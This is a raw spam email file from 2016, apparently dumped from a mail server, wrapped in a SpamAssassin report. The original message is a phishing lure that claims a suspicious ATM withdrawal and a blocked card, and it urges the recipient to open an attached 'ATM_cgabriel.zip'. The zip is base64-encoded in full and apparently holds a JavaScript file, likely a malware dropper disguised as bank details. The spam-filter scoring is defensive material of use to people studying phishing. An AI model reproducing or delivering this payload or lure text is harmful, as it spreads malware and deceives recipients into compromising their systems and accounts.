| Current Path : /home/ift/mails/15/ |
Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 |
| Current File : //home/ift/mails/15/1480329748.zrspam.155488_2016_11_28 |
From Osborne.Delores@orange.es Mon Nov 28 11:42:28 2016
Return-Path: <Osborne.Delores@orange.es>
X-Original-To: cgabriel@ift-informatik.de
Delivered-To: cgabriel@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
id DB92D3752552F; Mon, 28 Nov 2016 11:42:27 +0100 (CET)
Received: from localhost by h2486555.stratoserver.net
with SpamAssassin (version 3.4.0);
Mon, 28 Nov 2016 11:42:27 +0100
From: "Delores Osborne" <Osborne.Delores@orange.es>
To: <cgabriel@ift-informatik.de>
Subject: *****SPAM***** Urgent Alert
Date: Mon, 28 Nov 2016 11:42:22 +0200
Message-Id: <8421066140.043550.46253.ExternalMail@ift-informatik.de>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: ****************
X-Spam-Status: Yes, score=16.3 required=5.0 tests=BAYES_40,
CK_HELO_DYNAMIC_SPLIT_IP,CK_HELO_GENERIC,FREEMAIL_FROM,HELO_DYNAMIC_SPLIT_IP,
RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_BRBL_LASTEXT,RCVD_IN_MSPIKE_BL,
RCVD_IN_MSPIKE_L5,RCVD_IN_PBL,RCVD_IN_PSBL,RCVD_IN_SORBS_DUL,RCVD_IN_XBL,
RDNS_DYNAMIC,UNPARSEABLE_RELAY autolearn=no autolearn_force=no version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_583C0A13.42B39591"
This is a multi-part message in MIME format.
------------=_583C0A13.42B39591
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Dear cgabriel, we have detected a suspicious money ATM withdrawal
from your card. For your security, we have temporarily blocked the card.
All the details are in the attachment. Please open it when possible. [...]
Content analysis details: (16.3 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 CK_HELO_DYNAMIC_SPLIT_IP Relay HELO'd using suspicious hostname
(Split IP)
0.2 CK_HELO_GENERIC Relay used name indicative of a Dynamic Pool or
Generic rPTR
3.5 HELO_DYNAMIC_SPLIT_IP Relay HELO'd using suspicious hostname (Split
IP)
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[85.61.165.229 listed in psbl.surriel.com]
0.4 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
[85.61.165.229 listed in zen.spamhaus.org]
3.3 RCVD_IN_PBL RBL: Received via a relay in Spamhaus PBL
2.4 RCVD_IN_MSPIKE_L5 RBL: Very bad reputation (-5)
[85.61.165.229 listed in bl.mailspike.net]
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
(osborne.delores[at]orange.es)
-0.0 BAYES_40 BODY: Bayes spam probability is 20 to 40%
[score: 0.3718]
1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
[Blocked - see <http://www.spamcop.net/bl.shtml?85.61.165.229>]
1.4 RCVD_IN_BRBL_LASTEXT RBL: No description available.
[85.61.165.229 listed in bb.barracudacentral.org]
0.0 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address
[85.61.165.229 listed in dnsbl.sorbs.net]
1.0 RDNS_DYNAMIC Delivered to internal network by host with
dynamic-looking rDNS
0.0 RCVD_IN_MSPIKE_BL Mailspike blacklisted
0.0 UNPARSEABLE_RELAY Informational: message has unparseable relay lines
The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam. If you wish to view
it, it may be safer to save it to a file and open it with an editor.
------------=_583C0A13.42B39591
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit
Received: from 229.pool85-61-165.dynamic.orange.es (229.pool85-61-165.dynamic.orange.es [85.61.165.229])
by ift-informatik.de (Postfix) with ESMTP id ECC033752552E
for <cgabriel@ift-informatik.de>; Mon, 28 Nov 2016 11:42:23 +0100 (CET)
Received: from internal (unknown [x.x.x.x])
Received: (nullmailer pid 25659 invoked by uid 0835191);
Mon, 28 Nov 2016 11:42:22 +0200
To: <cgabriel@ift-informatik.de>
Subject: Urgent Alert
X-PHP-Originating-Script: 0835191:ExternalMail.class.php
From: "Delores Osborne" <Osborne.Delores@orange.es>
Date: Mon, 28 Nov 2016 11:42:22 +0200
MIME-Version: 1.0
Content-Type: multipart/related; boundary="87ae45f80798e3ef44e1817fe32cb39d"
Message-Id: <8421066140.043550.46253.ExternalMail@ift-informatik.de>
--87ae45f80798e3ef44e1817fe32cb39d
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Dear cgabriel, we have detected a suspicious money ATM withdrawal from =
your card.
For your security, we have temporarily blocked the card.
All the details are in the attachment. Please open it when possible.
--87ae45f80798e3ef44e1817fe32cb39d
Content-Type: application/zip; name="ATM_cgabriel.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ATM_cgabriel.zip"
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
--87ae45f80798e3ef44e1817fe32cb39d--
------------=_583C0A13.42B39591--